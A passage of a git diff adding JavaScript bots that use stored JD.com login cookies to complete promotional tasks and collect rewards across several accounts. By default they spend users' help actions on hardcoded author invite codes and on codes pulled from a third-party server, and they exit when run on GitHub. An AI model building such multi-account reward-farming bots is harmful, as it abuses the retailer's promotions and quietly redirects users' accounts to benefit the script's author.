Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.1.0`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": cookie, + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html", + "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000, + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_jdzz.js b/jd_jdzz.js new file mode 100644 index 0000000..4c4ce55 --- /dev/null +++ b/jd_jdzz.js @@ -0,0 +1,412 @@ +/* +京东赚赚 +可以做随机互助 +活动入口:京东赚赚小程序 +长期活动,每日收益2毛左右,多号互助会较多 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +# 京东赚赚 +10 0 * * * jd_jdzz.js, tag=京东赚赚, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdzz.png, enabled=true + +================Loon============== +[Script] +cron "10 0 * * *" script-path=jd_jdzz.js,tag=京东赚赚 + +===============Surge================= +京东赚赚 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_jdzz.js + +============小火箭========= +京东赚赚 = type=cron,script-path=jd_jdzz.js, cronexpr="10 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东赚赚'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let helpAuthor=true; // 帮助作者 +const randomCount = $.isNode() ? 20 : 5; +let jdNotify = true; // 是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = [ + `ATGEC3-fsrn13aiaEqiM@AUWE5maSSnzFeDmH4iH0elA@ATGEC3-fsrn13aiaEqiM@AUWE5m6WUmDdZC2mr1XhJlQ@AUWE5m_jEzjJZDTKr3nwfkg@A06fNSRc4GIqY38pMBeLKQE2InZA@AUWE5mf7ExDZdDmH7j3wfkA@AUWE5m6jBy2cNAWX7j31Pxw@AUWE5mK2UnDddDTX61S1Mkw@AUWE5mavGyGZdWzP5iCoZwQ`, + `ATGEC3-fsrn13aiaEqiM@AUWE5maSSnzFeDmH4iH0elA@ATGEC3-fsrn13aiaEqiM@AUWE5m6WUmDdZC2mr1XhJlQ@AUWE5m_jEzjJZDTKr3nwfkg@A06fNSRc4GIqY38pMBeLKQE2InZA@AUWE5m6_BmTUPAGH42SpOkg@AUWE53NTIs3V8YBqthQMI@AUWE5m6yVxTJcWjWr3nRIlw` +] +let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat() + await jdWish() + } + } + if (allMessage) { + //NODE端,默认每月一日运行进行推送通知一次 + if ($.isNode() && nowTimes.getDate() === 1 && (process.env.JDZZ_NOTIFY_CONTROL ? process.env.JDZZ_NOTIFY_CONTROL === 'false' : !!1)) { + await notify.sendNotify($.name, allMessage); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdWish() { + $.bean = 0 + $.tuan = null + $.hasOpen = false; + $.assistStatus = 0; + await getTaskList(true) + + await helpFriends() + await getUserInfo() + $.nowBean = parseInt($.totalBeanNum) + $.nowNum = parseInt($.totalNum) + for (let i = 0; i < $.taskList.length; ++i) { + let task = $.taskList[i] + if (task['taskId'] === 1 && task['status'] !== 2) { + console.log(`去做任务:${task.taskName}`) + await doTask({"taskId": task['taskId'],"mpVersion":"3.4.0"}) + } else if (task['taskId'] !== 3 && task['status'] !== 2) { + console.log(`去做任务:${task.taskName}`) + if(task['itemId']) + await doTask({"itemId":task['itemId'],"taskId":task['taskId'],"mpVersion":"3.4.0"}) + else + await doTask({"taskId": task['taskId'],"mpVersion":"3.4.0"}) + await $.wait(3000) + } + } + await getTaskList(); + await showMsg(); +} + +function showMsg() { + return new Promise(async resolve => { + message += `本次获得${parseInt($.totalBeanNum) - $.nowBean}京豆,${parseInt($.totalNum) - $.nowNum}金币\n` + message += `累计获得${$.totalBeanNum}京豆,${$.totalNum}金币\n可兑换${$.totalNum / 10000}元无门槛红包\n兑换入口:京东赚赚微信小程序->赚好礼->金币提现` + if (parseInt($.totalBeanNum) - $.nowBean > 0) { + //IOS运行获得京豆大于0通知 + $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n${message}`); + } else { + $.log(message) + } + // 云端大于10元无门槛红包时进行通知推送 + // if ($.isNode() && $.totalNum >= 1000000) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `京东账号${$.index} ${$.nickName}\n当前金币:${$.totalNum}个\n可兑换无门槛红包:${parseInt($.totalNum) / 10000}元\n`,) + allMessage += `京东账号${$.index} ${$.nickName}\n当前金币:${$.totalNum}个\n可兑换无门槛红包:${parseInt($.totalNum) / 10000}元\n兑换入口:京东赚赚微信小程序->赚好礼->金币提现${$.index !== cookiesArr.length ? '\n\n' : ''}`; + resolve(); + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.get(taskUrl("interactIndex"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // if (data.data.shareTaskRes) { + // console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})的${$.name}好友互助码】${data.data.shareTaskRes.itemId}\n`); + // } else { + // console.log(`\n\n已满5人助力或助力功能已下线,故暂时无${$.name}好友助力码\n\n`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getTaskList(flag = false) { + return new Promise(resolve => { + $.get(taskUrl("interactTaskIndex"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.taskList = data.data.taskDetailResList + $.totalNum = data.data.totalNum + $.totalBeanNum = data.data.totalBeanNum + if (flag && $.taskList.filter(item => !!item && item['taskId']=== 3) && $.taskList.filter(item => !!item && item['taskId']=== 3).length) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.taskList.filter(item => !!item && item['taskId']=== 3)[0]['itemId']}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 完成 +function doTask(body, func = "doInteractTask") { + // console.log(taskUrl("doInteractTask", body)) + return new Promise(resolve => { + $.get(taskUrl(func, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // console.log(data) + if (func === "doInteractTask") { + if (data.subCode === "S000") { + console.log(`任务完成,获得 ${data.data.taskDetailResList[0].incomeAmountConf} 金币,${data.data.taskDetailResList[0].beanNum} 京豆`) + $.bean += parseInt(data.data.taskDetailResList[0].beanNum) + } else { + console.log(`任务失败,错误信息:${data.message}`) + } + } else { + console.log(`${data.data.helpResDesc}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + await doTask({"itemId": code, "taskId": "3", "mpVersion": "3.4.0"}, "doHelpTask") + } +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `https://code.chiang.fun/api/v1/jd/jdzz/read/${randomCount}/`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = []; + if ($.isNode()) { + if (process.env.JDZZ_SHARECODES) { + if (process.env.JDZZ_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDZZ_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDZZ_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +function taskTuanUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&osVersion=5.0.0&clientVersion=3.1.3&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}`, + body: body, + headers: { + "Cookie": cookie, + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return 